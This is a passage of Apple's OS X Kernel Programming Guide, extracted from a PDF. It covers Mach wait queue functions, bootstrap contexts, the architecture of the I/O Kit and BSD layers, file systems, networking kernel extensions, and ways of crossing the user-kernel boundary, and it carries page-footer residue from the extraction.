int result); kern_return_t wait_queue_wakeup_thread_locked(wait_queue_t wq, event_t event, thread_t thread, int result, boolean_t unlock); kern_return_t wait_queue_remove(thread_t thread); Most of the functions and their arguments are straightforward and are not presented in detail. However, a few require special attention. Most of the functions take an event_t as an argument. These can be arbitrary 32-bit values, which leads to the potential for conflicting events on certain wait queues. The traditional way to avoid this problem is to use the address of a data object that is somehow related to the code in question as that 32-bit integer value. For example, if you are waiting for an event that indicates that a new block of data has been added to a ring buffer, and if that ring buffer’s head pointer was called rb_head, you might pass the value &rb_head as the event ID. Because wait queue usage does not generally cross address space boundaries, this is generally sufficient to avoid any event ID conflicts. Notice the functions ending in _locked. These functions require that your thread be holding a lock on the wait queue before they are called. Functions ending in _locked are equivalent to their nonlocked counterparts (where applicable) except that they do not lock the queue on entry and may not unlock the queue on exit (depending on the value of unlock). The remainder of this section does not differentiate between locked and unlocked functions. The wait_queue_alloc and wait_queue_init functions take a policy parameter, which can be one of the following: ● SYNC_POLICY_FIFO—first-in, first-out ● SYNC_POLICY_FIXED_PRIORITY—policy based on thread priority Mach Scheduling and Thread Interfaces Kernel Thread APIs 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 88● SYNC_POLICY_PREPOST—keep track of number of wakeups where no thread was waiting and allow threadsto immediately continue executing without waiting until that count reaches zero. Thisisfrequently used when implementing semaphores. You should not use the wait_queue_init function outside the scheduler. Because a wait queue is an opaque object outside that context, you cannot determine the appropriate size for allocation. Thus, because the size could change in the future, you should always use wait_queue_alloc and wait_queue_free unless you are writing code within the scheduler itself. Similarly, the functions wait_queue_member, wait_queue_member_locked, wait_queue_link, wait_queue_unlink, and wait_queue_unlink_one are operations on subordinate queues, which are not exported outside the scheduler. The function wait_queue_member determines whether a subordinate queue is a member of a queue. The functions wait_queue_link and wait_queue_unlink link and unlink a given subordinate queue from its parent queue, respectively. The function wait_queue_unlink_one unlinks the first subordinate queue in a given parent and returns it. The function wait_queue_assert_wait causes the calling thread to wait on the wait queue until it is either interrupted (by a thread timer, for example) or explicitly awakened by another thread. The interruptible flag indicates whether this function should allow an asynchronous event to interrupt waiting. The function wait_queue_wakeup_all wakes up all threads waiting on a given queue for a particular event. The function wait_queue_peek_locked returns the first thread from a given wait queue that is waiting on a given event. It does not remove the thread from the queue, nor does it wake the thread. It also returns the wait queue where the thread was found. If the thread is found in a subordinate queue, other subordinate queues are unlocked, as is the parent queue. Only the queue where the thread was found remains locked. The function wait_queue_pull_thread_locked pulls a thread from the wait queue and optionally unlocks the queue. This is generally used with the result of a previous call to wait_queue_peek_locked. The function wait_queue_wakeup_identity_locked wakes up the first thread that is waiting for a given event on a given wait queue and starts it running but leaves the thread locked. It then returns a pointer to the thread. This can be used to wake the first thread in a queue and then modify unrelated structures based on which thread was actually awakened before allowing the thread to execute. The function wait_queue_wakeup_one wakes up the first thread that is waiting for a given event on a given wait queue. The function wait_queue_wakeup_thread wakes up a given thread if and only if it is waiting on the specified event and wait queue (or one of its subordinates). Mach Scheduling and Thread Interfaces Kernel Thread APIs 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 89The function wait_queue_remove wakes a given thread without regard to the wait queue or event on which it is waiting. Mach Scheduling and Thread Interfaces Kernel Thread APIs 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 90In OS X kernel programming, the term context has several meanings that appear similar on the surface, but differ subtly. First, the term context can refer to a BSD process or Mach task. Switching from one process to another is often referred to as a context switch. Second, context can refer to the part of the operating system in which your code resides. Examples of this include thread contexts, the interrupt context, the kernel context, an application’s context, a Carbon File Manager context, and so on. Even for this use of the term, the exact meaning depends, ironically, on the context in which the term is used. Finally, context can refer to a bootstrap context. In Mach, the bootstrap task is assigned responsibility for looking up requests for Mach ports. As part of this effort, each Mach task is registered in one of two groups—either in the startup context or a user’s login context. (In theory, Mach can support any number of independent contexts, however the use of additional contexts is beyond the scope of this document.) For the purposes of this chapter, the term context refers to a bootstrap context. When OS X first boots, there is only the top-level context, which is generally referred to as the startup context. All other contexts are subsets of this context. Basic system services that rely on Mach ports must be started in this context in order to work properly. When a user logs in, the bootstrap task creates a new context called the login context. Programs run by the user are started in the login context. This allows the user to run a program that provides an alternate port lookup mechanism if desired, causing that user’s tasks to get a different port when the tasks look up a basic service. This has the effect of replacing that service with a user-defined version in a way that changes what the user’s tasks see, but does not affect any of the rest of the system. To avoid wasting memory, currently the login context is destroyed when the user logs out (orshortly thereafter). This behavior may change in the future, however. In the current implementation, programs started by the user will no longer be able to look up Mach ports after logout. If a program does not need to do any port lookup, it will not be affected. Other programs will terminate, hang, or behave erratically. For example, in Mac OS 10.1 and earlier, sshd continuesto function when started from a user context. However, since it is unable to communicate with lookupd or netinfo, it stops accepting passwords. This is not a particularly useful behavior. 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 91 Bootstrap ContextsOther programs such as esound, however, continue to work correctly after logout when started from a user context. Other programs behave correctly in their default configuration but fail in other configurations—for example, when authentication support is enabled. There are no hard and fast rules for which programs will continue to operate after their bootstrap context is destroyed. Only thorough testing can tell you whether any given program will misbehave if started from a user context, since even programs that do not appear to directly use Mach communication may still do so indirectly. In OS X v10.2, a great deal of effort has gone into making sure that programs that use only standard BSD services and functions do not use Mach lookups in a way that would fail if started from a user context. If you find an application that breaks when started from a Terminal.app window, please file a bug report. How Contexts Affect Users From the perspective of a user, contexts are generally unimportant as long as they do not want a program to survive past the end of their login session. Contexts do become a problem for the administrator, however. For example, if the administrator upgrades sshd by killing the old version, starting the new one, and logging out, strange things could happen since the context in which sshd was running no longer exists. Contexts also pose an issue for usersrunning background jobs with nohup or users detaching terminalsessions using screen. There are times when it is perfectly reasonable for a program to survive past logout, but by default, this does not occur. There are three basic ways that a user can get around this. In the case of daemons, they can modify the startup scripts to start the application. On restart, the application will be started in the startup context. This is not very practical if the computer in question isin heavy use, however. Fortunately, there are other waysto startservices in a startup context. The second way to run a service in the startup context is to use ssh to connect to the computer. Since sshd is running in the startup context, programs started from an ssh session also register themselves in the startup context. (Note that a user can safely kill the main sshd process without being logged out. The user just needs to be careful to kill the right one.) The third way isto log in asthe console user (>console), which causes LoginWindow to exit and causes init to spawn a getty process on the console. Since init spawns getty, which spawns login, which spawns the user’s shell, any programs started from the text console will be in the startup context. Bootstrap Contexts How Contexts Affect Users 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 92More generally, any process that is the child of a process in the startup context (other than those inherited by init because their parent process exited) is automatically in the startup context. Any process that is the child of a process in the login context is, itself, in the login context. This means that daemons can safely fork children at any time and those children will be in the startup context, as will programs started from the console (not the Console application). This also meansthat any program started by a user in a terminal window, from Finder, from the Dock, and so on, will be in the currently logged in user’s login context, even if that user runs the application using su or sudo. How Contexts Affect Developers If you are writing only kernel code, contexts are largely irrelevant (unless you are creating a new context, of course). However, kernel developers frequently need to write a program that registers itself in the startup context in order to provide some level of driver communication. For example, you could write a user-space daemon that brokers configuration information for a sound driver based on which user is logged in at the time. In the most general case, the problem ofstarting an application in the startup context can be solved by creating a startup script for your daemon, which causesit to be run in the startup context after the next reboot. However, users generally do not appreciate having to reboot their computers to install a new driver. Asking the user to connect to his or her own computer with ssh to execute a script is probably not reasonable, either. The biggest problem with forcing a reboot, of course, is that users often install several programs at once. Rebooting between each install inconveniences the end user, and has no other benefit. For that reason, you should not force the user to restart. Instead, you should offer the user the option, noting that the software may not work correctly until the user restarts. While this does not solve the fundamental problem, it does at least minimize the most common source of complaints. There are a number of ways to force a program to start in the startup context without rebooting or using ssh. However, these are not robust solutions, and are not recommended. A standard API for starting daemons is under consideration. When an official API becomes available, this chapter will be updated to discuss it. Bootstrap Contexts How Contexts Affect Developers 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 93Those of you who are already familiar with writing device drivers for Mac OS 9 or for BSD will discover that writing driversfor OS X requiressome new ways of thinking. In creating OS X, Apple has completely redesigned the Macintosh I/O architecture, providing a framework for simplified driver development that supports many categories of devices. This framework is called the I/O Kit. From a programming perspective, the I/O Kit provides an abstract view of the system hardware to the upper layers of OS X. The I/O Kit uses an object-oriented programming model, implemented in a restricted subset of C++ to promote increased code reuse. By starting with properly designed base classes, you gain a head start in writing a new driver; with much of the driver code already written, you need only to fill in the specific code that makes your driver different. For example, all SCSI controllers deliver a fairly standard set of commands to a device, but do so via different low-level mechanisms. By properly using object-oriented programming methodology, a SCSI driver can implement those low-level transport portions without reimplementing the higher level SCSI protocol code. Similar opportunities for code reuse can be found in most types of drivers. Part of the philosophy of the I/O Kit is to make the design completely open. Rather than hiding parts of the API in an attempt to protect developers from themselves, all of the I/O Kit source is available as part of Darwin. You can use the source code as an aid to designing (and debugging) new drivers. Instead of hiding the interfaces, Apple’s designers have chosen to lead by example. Sample code and classes show the recommended (easy) way to write a driver. However, you are not prevented from doing things the hard way (or the wrong way). Instead, attention has been concentrated on making the “best” ways easy to follow. Redesigning the I/O Model You might ask why Apple chose to redesign the I/O model. At first glance, it mightseem that reusing the model from Mac OS 9 or FreeBSD would have been an easier choice. There are several reasons for the decision, however. 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 94 I/O Kit OverviewNeither the Mac OS 9 driver model nor the FreeBSD model offered a feature set rich enough to meet the needs of OS X. The underlying operating-system technology of OS X is very different from that of Mac OS 9. The OS X kernel is significantly more advanced than the previous Mac OS system architecture; OS X needs to handle memory protection, preemption, multiprocessing, and other features not present (orsubstantially less pervasive) in previous versions of the Mac OS. Although FreeBSD supports these features, the BSD driver model did not offer the automatic configuration, stacking, power management, or dynamic device-loading features required in a modern, consumer-oriented operating system. By redesigning the I/O architecture, Apple’s engineers can take best advantage of the operating-system features in OS X. For example, virtual memory (VM) is not a fundamental part of the operating system in Mac OS 9. Thus, every driver writer must know about (and write for) VM. This has presented certain complications for developers. In contrast, OS X has simplified driver interaction with VM. VM capability is inherent in the OS X operating system and cannot be turned off by the user. Thus, VM capabilities can be abstracted into the I/O Kit, and the code for handling VM need not be written for every driver. OS X offers an unprecedented opportunity to reuse code. In Mac OS 9, for example, all software development kits (SDKs) were independent of each other, duplicating functionality between them. In OS X, the I/O Kit is delivered as part of the basic developer tools, and code is shared among its various parts. In contrast with traditional I/O models, the reusable code model provided by the I/O Kit can decrease your development work substantially. In porting drivers from Mac OS 9, for example, the OS X counterparts have been up to 75% smaller. In general, all hardware support is provided directly by I/O Kit entities. One exception to this rule is imaging devicessuch as printers,scanners, and digital cameras(although these do make some use of I/O Kit functionality). Specifically, although communication with these devices is handled by the I/O Kit (for instance, under the FireWire or USB families), support for particular device characteristics is handled by user-space code (see “For More Information” (page 100) for further discussion). If you need to support imaging devices, you should employ the appropriate imaging software development kit (SDK). The I/O Kit attempts to represent, in software, the same hierarchy that exists in hardware. Some things are difficult to abstract, however. When the hardware hierarchy is difficult to represent (for example, if layering violations occur), then the I/O Kit abstractions provide less help for writing drivers. In addition, all drivers exist to drive hardware; all hardware is different. Even with the reusable model provided by the I/O Kit, you still need to be aware of any hardware quirks that may impact a higher-level view of the device. The code to support those quirks still needs to be unique from driver to driver. I/O Kit Overview Redesigning the I/O Model 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 95Although most developers should be able to take full advantage of I/O Kit device families (see “Families” (page 96)), there will occasionally be some who cannot. Even those developers should be able to make use of parts of the I/O Kit, however. In any case, the source code is always available. You can replace functionality and modify the classes yourself if you need to do so. In designing the I/O Kit, one goal has been to make developers’ lives easier. Unfortunately, it is not possible to make all developers’ lives uniformly easy. Therefore, a second goal of the I/O Kit design is to meet the needs of the majority of developers, without getting in the way of the minority who need lower level access to the hardware. I/O Kit Architecture The I/O Kit provides a model of system hardware in an object-oriented framework. Each type of service or device is represented by a C++ class; each discrete service or device is represented by an instance (object) of that class. There are three major conceptual elements of the I/O Kit architecture: ● “Families” (page 96) ● “Drivers” (page 97) ● “Nubs” (page 97) Families A family defines a collection of high-level abstractions common to all devices of a particular category that takes the form of C code and C++ classes. Families may include headers, libraries, sample code, test harnesses, and documentation. They provide the API, generic support code, and at least one example driver (in the documentation). Families provide services for many different categories of devices. For example, there are protocol families (such as SCSI, USB, and FireWire), storage families (disk), network families, and families to describe human interface devices (mouse and keyboard). When devices have features in common, the software that supports those features is most likely found in a family. Common abstractions are defined and implemented by the family, allowing all drivers in a family to share similar features easily. For example, all SCSI controllers have certain things they must do, such as scanning the SCSI bus. The SCSI family defines and implementsthe functionality that is common to SCSI controllers. Because thisfunctionality has been included in the SCSI family, you do not need to include scanning code (for example) in your new SCSI controller driver. I/O Kit Overview I/O Kit Architecture 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 96Instead, you can concentrate on device-specific details that make your driver different from other SCSI drivers. The use of families means there is less code for you to write. Families are dynamically loadable; they are loaded when needed and unloaded when no longer needed. Although some common families may be preloaded at system startup, all families should be considered to be dynamically loadable (and, therefore, potentially unloaded). See the “Connection Example” (page 98) for an illustration. Drivers A driver is an I/O Kit object that manages a specific device or bus, presenting a more abstract view of that device to other parts of the system. When a driver is loaded, its required families are also loaded to provide necessary, common functionality. The request to load a driver causes all of its dependent requirements (and their requirements) to be loaded first. After all requirements are met, the requested driver is loaded as well. See “Connection Example” (page 98) for an illustration. Note that families are loaded upon demand of the driver, not the other way around. Occasionally, a family may already be loaded when a driver demands it; however, you should never assume this. To ensure that all requirements are met, each device driver should list all of its requirements in its property list. Most drivers are in a client-provider relationship, wherein the driver must know about both the family from which it inherits and the family to which it connects. A SCSI controller driver, for example, must be able to communicate with both the SCSI family and the PCI family (as a client of PCI and provider of SCSI). A SCSI disk driver communicates with both the SCSI and storage families. Nubs A nub is an I/O Kit object that represents a point of connection for a driver. It represents a controllable entity such as a disk or a bus. A nub is loaded as part of the family that instantiates it. Each nub provides access to the device or service that it represents and provides services such as matching, arbitration, and power management. The concept of nubs can be more easily visualized by imagining a TV set. There is a wire attached to your wall that provides TV service from somewhere. For all practical purposes, it is permanently associated with that provider, the instantiating class (the cable company who installed the line). It can be attached to the TV to provide a service (cable TV). That wire is a nub. Each nub provides a bridge between two drivers (and, by extension, between two families). It is most common that a driver publishes one nub for each individual device or service it controls. (In this example, imagine one wire for every home serviced by the cable company.) I/O Kit Overview I/O Kit Architecture 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 97It is also possible for a driver that controls only a single device or service to act as its own nub. (Imagine the antenna on the back of your TV that has a built-in wire.) See the “Connection Example” (page 98) for an illustration of the relationship between nubs and drivers. Connection Example Figure 12-1 (page 98) illustrates the I/O Kit architecture, using several example drivers and their corresponding nubs. Note that many different driver combinations are possible; this diagram shows only one possibility. In this case, a SCSI stack is shown, with a PCI controller, a disk, and a SCSI scanner. The SCSI disk is controlled by a kernel-resident driver. The SCSI scanner is controlled by a driver that is part of a user application. Figure 12-1 I/O Kit architecture IOPCIBridge family PCI bus driver IOSCSIParallelController family SCSI card driver IOBlockStorageDriver family SCSI disk driver IOPCIDevice nubs IOSCSIParallelDevice nubs IOMedia nub Disk User application User space Kernel space Device interface User client This example illustrates how a SCSI disk driver (Storage family) is connected to the PCI bus. The connection is made in several steps. I/O Kit Overview I/O Kit Architecture 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 981. The PCI bus driver discovers a PCI device and announces its presence by creating a nub (IOPCIDevice). The nub’s class is defined by the PCI family. IOPCIBridge family PCI bus driver IOPCIDevice nubs Video card Main logic board ATA SCSI card 2. The bus driver identifies (matches) the correct device driver and requests that the driver be loaded. At the end of this matching process, a SCSI controller driver has been found and loaded. Loading the controller driver causes all required families to be loaded as well. In this case, the SCSI family is loaded; the PCI family (also required) is already present. The SCSI controller driver is given a reference to the IOPCIDevice nub. 3. The SCSI controller driver scans the SCSI bus for devices. Upon finding a device, it announces the presence of the device by creating a nub (IOSCSIDevice). The class of this nub is defined by the SCSI family. IOPCIBridge family PCI bus driver IOSCSIParallelController family SCSI card driver IOPCIDevice nubs IOSCSIParallelDevice nubs SCSI disk Unknown device SCSI scanner 1 5 6 I/O Kit Overview I/O Kit Architecture 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 994. The controller driver identifies (matches) the correct device driver and requests that the driver be loaded. At the end of this matching process, a disk driver has been found and loaded. Loading the disk driver causes all required families to be loaded as well. In this case, the Storage family is loaded; the SCSI family (also required) is already present. The disk driver is given a reference to the IOSCSIDevice nub. IOPCIBridge family PCI bus driver IOSCSIParallelController family SCSI card driver IOBlockStorageDriver family SCSI disk driver IOPCIDevice nubs IOSCSIParallelDevice nubs IOMedia nub Disk For More Information For more information on the I/O Kit, you should read the document I/O Kit Fundamentals, available from Apple’s developer documentation website, http://developer.apple.com/documentation. It provides a good general overview of the I/O Kit. In addition to I/O Kit Fundamentals, the website contains a number of HOWTO documents and topic-specific documents that describe issues specific to particular technology areas such as FireWire and USB. I/O Kit Overview For More Information 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 100The BSD portion of the OS X kernel is derived primarily from FreeBSD, a version of 4.4BSD that offers advanced networking, performance, security, and compatibility features. BSD variants in general are derived (sometimes indirectly) from 4.4BSD-Lite Release 2 from the Computer Systems Research Group (CSRG) at the University of California at Berkeley. BSD provides many advanced features, including the following: ● Preemptive multitasking with dynamic priority adjustment. Smooth and fair sharing of the computer between applications and users is ensured, even under the heaviest of loads. ● Multiuser access. Many people can use an OS X system simultaneously for a variety of things. This means, for example, thatsystem peripheralssuch as printers and disk drives are properly shared between all users on the system or the network and that individual resource limits can be placed on users or groups of users, protecting critical system resources from overuse. ● Strong TCP/IP networking with support for industry standards such as SLIP, PPP, and NFS. OS X can interoperate easily with other systems as well as act as an enterprise server, providing vital functions such as NFS (remote file access) and email services, or Internet services such as HTTP, FTP, routing, and firewall (security) services. ● Memory protection. Applications cannot interfere with each other. One application crashing does not affect others in any way. ● Virtual memory and dynamic memory allocation. Applications with large appetitesfor memory are satisfied while still maintaining interactive response to users. With the virtual memory system in OS X, each application has access to its own 4 GB memory address space; this should satisfy even the most memory-hungry applications. ● Support for kernel threads based on Mach threads. User-level threading packages are implemented on top of kernel threads. Each kernel thread is an independently scheduled entity. When a thread from a user process blocks in a system call, other threads from the same process can continue to execute on that or other processors. By default, a process in the conventional sense has one thread, the main thread. A user process can use the POSIX thread API to create other user threads. ● SMP support. Support is included for computers with multiple CPUs. ● Source code. Developers gain the greatest degree of control over the BSD programming environment because source is included. ● Many of the POSIX APIs. 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 101 BSD OverviewBSD Facilities The facilities that are available to a user process are logically divided into two parts: kernel facilities and system facilities implemented by or in cooperation with a server process. The facilities implemented in the kernel define the virtual machine in which each process runs. Like many real machines, this virtual machine has memory management, an interrupt facility, timers, and counters. The virtual machine also allows access to files and other objects through a set of descriptors. Each descriptor resembles a device controller and supports a set of operations. Like devices on real machines, some of which are internal to the machine and some of which are external, parts of the descriptor machinery are built into the operating system, while other parts are often implemented in server processes. The BSD component provides the following kernel facilities: ● processes and protection ● host and process identifiers ● process creation and termination ● user and group IDs ● process groups ● memory management ● text, data, stack, and dynamic shared libraries ● mapping pages ● page protection control ● POSIX synchronization primitives ● POSIX shared memory ● signals ● signal types ● signal handlers ● sending signals ● timing and statistics ● real time ● interval time ● descriptors ● files ● pipes BSD Overview BSD Facilities 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 102● sockets ● resource controls ● process priorities ● resource utilization and resource limits ● quotas ● system operation support ● bootstrap operations ● shut-down operations ● accounting BSD system facilities (facilities that may interact with user space) include ● generic input/output operations such as read and write, nonblocking, and asynchronous operations ● file-system operations ● interprocess communication ● handling of terminals and other devices ● process control ● networking operations Differences between OS X and BSD Although the BSD portion of OS X is primarily derived from FreeBSD, some changes have been made: ● The sbrk() system call for memory management is deprecated. Its use is not recommended in OS X. ● The OS X runtime model uses a different object file format for executables and shared objects, and a different mechanism for executing some of those executables. The primary native format is Mach-O. This format is supported by the dynamic link editor (dyld). The PEF binary file format is supported by the Code Fragment Manager (CFM). The kernel supports execve() with Mach-O binaries. Mapping and management of Mach-O dynamic shared libraries, as well as launching of PEF-based applications, are performed by user-space code. ● OS X does not support memory-mapped devices through the mmap() function. (Graphic device support and other subsystems provide similar functionality, but using different APIs.) In OS X, this interface should be done through user clients. See the Apple I/O Kit documents for additional information. ● The swapon() call is not supported; macx_swapon() is the equivalent call from the Mach pager. BSD Overview Differences between OS X and BSD 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 103● The Unified Buffer Cache implementation in OS X differs from that found in FreeBSD. ● Mach provides a number of IPC primitives that are not traditionally found in UNIX. See “Boundary Crossings” (page 109) for more information on Mach IPC. Some System V primitives are supported, but their use is discouraged in favor of POSIX equivalents. ● Several changes have been made to the BSD security model to support single-user and multiple-administrator configurations, including the ability to disable ownership and permissions on a volume-by-volume basis. ● The locking mechanism used throughout the kernel differs substantially from the mechanism used in FreeBSD. ● The kernel extension mechanism used by OS X is completely different. The OS X driver layer, the I/O Kit, is an object-oriented driver stack written in C++. The general kernel programming interfaces, or KPIs, are used to write non-driver kernel extensions. These mechanisms are described more in “I/O Kit Overview” (page 94) and KPI Reference , respectively. In addition, several new features have been added that are specific to the OS X (Darwin) implementation of BSD. These features are not found in FreeBSD. ● enhancements to file-system buffer cache and file I/O clustering ● adaptive and speculative read ahead ● user-process controlled read ahead ● time aging of the file-system buffer cache ● enhancements to file-system support ● implementation of Apple extensions for ISO-9660 file systems ● multithreaded asynchronous I/O for NFS ● addition of system calls to support semantics of Mac OS Extended (HFS+) file systems ● additions to naming conventions for pathnames, as required for accessing multiple forks in Mac OS Extended file systems For Further Reading The BSD component of the OS X kernel is complex. A complete description is beyond the scope of this document. However, many excellent references exist for this component. If you are interested in BSD, be sure to refer to the bibliography for further information. BSD Overview For Further Reading 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 104Although the BSD layer of OS X is derived from 4.4BSD, keep in mind that it is not identical to 4.4BSD. Some functionality of 4.4 BSD has not been included in OS X. Some new functionality has been added. The cited reference materials are recommended for additional reading. However, they should not be presumed as forming a definitive description of OS X. BSD Overview For Further Reading 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 105OS X provides“out-of-the-box”support forseveral different file systems. These include Mac OS Extended format (HFS+), the BSD standard file system format (UFS), NFS (an industry standard for networked file systems), ISO 9660 (used for CD-ROM), MS-DOS, SMB (Windows file sharing standard), AFP (Mac OS file sharing), and UDF. Support is also included for reading the older, Mac OS Standard format (HFS) file-system type; however, you should not plan to format new volumes using Mac OS Standard format. OS X cannot boot from these file systems, nor does the Mac OS Standard format provide some of the information required by OS X. The Mac OS Extended format provides many of the same characteristics as Mac OS Standard format but adds additional support for modern features such as file permissions, longer filenames, Unicode, both hard and symbolic links, and larger disk sizes. UFS provides case sensitivity and other characteristics that may be expected by BSD commands. In contrast, Mac OS Extended Format is not case-sensitive (but is case-preserving). OS X currently can boot and “root” from an HFS+, UFS, ISO, NFS, or UDF volume. That is, OS X can boot from and mount a volume of any of these types and use it as the primary, or root, file system. Other file systems can also be mounted, allowing usersto gain accessto additional volume formats and features. NFS provides access to network servers as if they were locally mounted file systems. The Carbon application environment mimics many expected behaviors of Mac OS Extended format on top of both UFS and NFS. These include such characteristics as Finder Info, file ID access, and aliases. By using the OS X Virtual File System (VFS) capability and writing kernel extensions, you can add support for other file systems. Examples of file systems that are not currently supported in OS X but that you may wish to add to the system include the Andrew file system (AFS) and the Reiser file system (ReiserFS). If you want to support a new volume format or networking protocol, you’ll need to write a file-system kernel extension. Working With the File System In OS X, the vnode structure providesthe internal representation of a file or directory (folder). There is a unique vnode allocated for each active file or folder, including the root. 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 106 File Systems OverviewWithin a file system, operations on specific files and directories are implemented via vnodes and VOP (vnode operation) calls. VOP calls are used for operations on individual files or directories (such as open, close, read, or write). Examples include VOP_OPEN to open a file and VOP_READ to read file contents. In contrast, file-system–wide operations are implemented using VFS calls. VFS calls are primarily used for operations on entire file systems; examples include VFS_MOUNT and VFS_UNMOUNT to mount or unmount a file system, respectively. File-system writers need to provide stubs for each of these sets of calls. VFS Transition The details of the VFS subsystem in OS X are in the process of changing in order to make the VFS interface sustainable. If you are writing a leaf file system, these changes will still affect you in many ways. please contact Apple Developer Support for more information. File Systems Overview VFS Transition 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 107OS X kernel extensions (KEXTs) provide mechanisms to extend and modify the networking infrastructure of OS X dynamically, without recompiling or relinking the kernel. The effect is immediate and does not require rebooting the system. Networking KEXTs can be used to ● monitor network traffic ● modify network traffic ● receive notification of asynchronous events from the driver layer In the last case, such events are received by the data link and network layers. Examples of these events include power management events and interface status changes. Specifically, KEXTs allow you to ● create protocol stacks that can be loaded and unloaded dynamically and configured automatically ● create modulesthat can be loaded and unloaded dynamically atspecific positionsin the network hierarchy. The Kernel Extension Manager dynamically adds KEXTs to the running OS X kernel inside the kernel’s address space. An installed and enabled network-related KEXT is invoked automatically, depending on its position in the sequence of protocol components, to process an incoming or outgoing packet. All KEXTs provide initialization and termination routines that the Kernel Extension Manager invokes when it loads or unloads the KEXT. The initialization routine handles any operations that are needed to complete the incorporation of the KEXT into the kernel, such as updating protosw and domain structures (through programmatic interfaces). Similarly, the termination routine must remove references to the NKE from these structures to unload itself successfully. NKEs must provide a mechanism, such as a reference count, to ensure that the NKE can terminate without leaving dangling pointers. For additional information on the networking portions of the OS X kernel, you should read the document Network Kernel Extensions Programming Guide . 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 108 Network ArchitectureTwo applications can communicate in a number of ways—for example, by using pipes or sockets. The applicationsthemselves are unaware of the underlying mechanismsthat provide this communication. However this communication occurs by sending data from one program into the kernel, which then sends the data to the second program. As a kernel programmer, it is your job to create the underlying mechanisms responsible for communication between your kernel code and applications. This communication is known as crossing the user-kernel boundary. This chapter explains various ways of crossing that boundary. In a protected memory environment, each process is given its own address space. This means that no program can modify another program’s data unless that data also resides in its own memory space (shared memory). The same applies to the kernel. It resides in its own address space. When a program communicates with the kernel, data cannot simply be passed from one address space to the other as you might between threads (or between programs in environments like Mac OS 9 and most real-time operating systems, which do not have protected memory). We refer to the kernel’s address space as kernel space, and collectively refer to applications’ address spaces as user space. For this reason, applications are also commonly referred to as user-space programs, or user programs for short. When the kernel needs a small amount of data from an application, the kernel cannot just dereference a pointer passed in from that application, since that pointer is relative to the application’s address space. Instead, the kernel generally copies that information into storage within its own address space. When a large region of data needs to be moved, it may map entire pages into kernel space for efficiency. The same behavior can be seen in reverse when moving data from the kernel to an application. Because it is difficult to move data back and forth between the kernel and an application, this separation is called a boundary. It isinherently time consuming to copy data, even if that data isjust the user-space address of a shared region. Thus, there is a performance penalty whenever a data exchange occurs. If this penalty is a serious problem, it may affect which method you choose for crossing the user-kernel boundary. Also, by trying to minimize the number of boundary crossings, you may find ways to improve the overall design of your code. This is particularly significant if your code is involved in communication between two applications, since the user-kernel boundary must be crossed twice in that case. There are a number of ways to cross the user-kernel boundary. Some of them are covered in this chapter in the following sections: 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 109 Boundary Crossings● “Mach Messaging and Mach Interprocess Communication (IPC)” (page 112) ● “BSD syscall API ” (page 116) ● “BSD ioctl API” (page 116) ● “BSD sysctl API ” (page 117) ● “Memory Mapping and Block Copying” (page 125) In addition, the I/O Kit uses the user-client/device-interface API for most communication. Because that API is specific to the I/O Kit, it is not covered in this chapter. The user client API is covered in I/O Kit Fundamentals, Accessing Hardware From Applications, and I/O Kit Device Driver Design Guidelines. The ioctl API is also specific to the construction of device drivers, and is largely beyond the scope of this document. However, since ioctl is a BSD API, it is covered at a glance for your convenience. This chapter covers one subset of Mach IPC—the Mach remote procedure call (RPC) API. It also covers the syscall, sysctl, memory mapping, and block copying APIs. Security Considerations Crossing the user-kernel boundary represents a security risk if the kernel code operates on the data in any substantial way (beyond writing it to disk or passing it to another application). You must carefully perform bounds checking on any data passed in, and you must also make sure your code does not dereference memory that no longer belongs to the client application. Also, under no circumstances should you run unverified program code passed in from user space within the kernel. See “Security Considerations” (page 24) for further information. Choosing a Boundary Crossing Method The first step in setting up user-kernel data exchange is choosing a means to do that exchange. First, you must consider the purpose for the communication. Some crucial factors are latency, bandwidth, and the kernel subsystem involved. Before choosing a method of communication, however, you should first understand at a high-level each of these forms of communication. Mach messaging and Mach interprocess communication (IPC) are relatively low-level ways of communicating between two Mach tasks (processes), as well as between a Mach task and the kernel. These form the basis for most communication outside of BSD and the I/O Kit. The Mach remote procedure call (RPC) API is a high level procedural abstraction built on top of Mach IPC. Mach RPC is the most common use of IPC. Boundary Crossings Security Considerations 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 110The BSD syscall API is an API for calling kernel functions from user space. It is used extensively when writing file systems and networking protocols, in ways that are very subsystem-dependent. Developers are strongly discouraged from using the syscall API outside of file-system and network extensions, as no plug-in API exists for registering a new system call with the syscall mechanism. The BSD sysctl API (in its revised form) supersedes the syscall API and also provides a relatively painless way to change individual kernel variablesfrom userspace. It has a straightforward plug-in architecture, making it a good choice where possible. Memory mapping and block copying are used in conjunction with one of the other APIs mentioned, and provide ways of moving large amounts of data (more than a few bytes) or variably sized data to and from kernel space. Kernel Subsystems The choice of boundary crossing methods depends largely on the part of the kernel into which you are adding code. In particular, the boundary crossing method preferred for the I/O Kit is different from that preferred for BSD, which is different from that preferred for Mach. If you are writing a device driver or other related code, you are probably dealing with the I/O Kit. In that case, you should instead read appropriate sections in I/O Kit Fundamentals, Accessing Hardware From Applications, and I/O Kit Device Driver Design Guidelines. If you are writing code that resides in the BSD subsystem (for example, a file system), you should generally use BSD APIs such as syscall or sysctl unless you require high 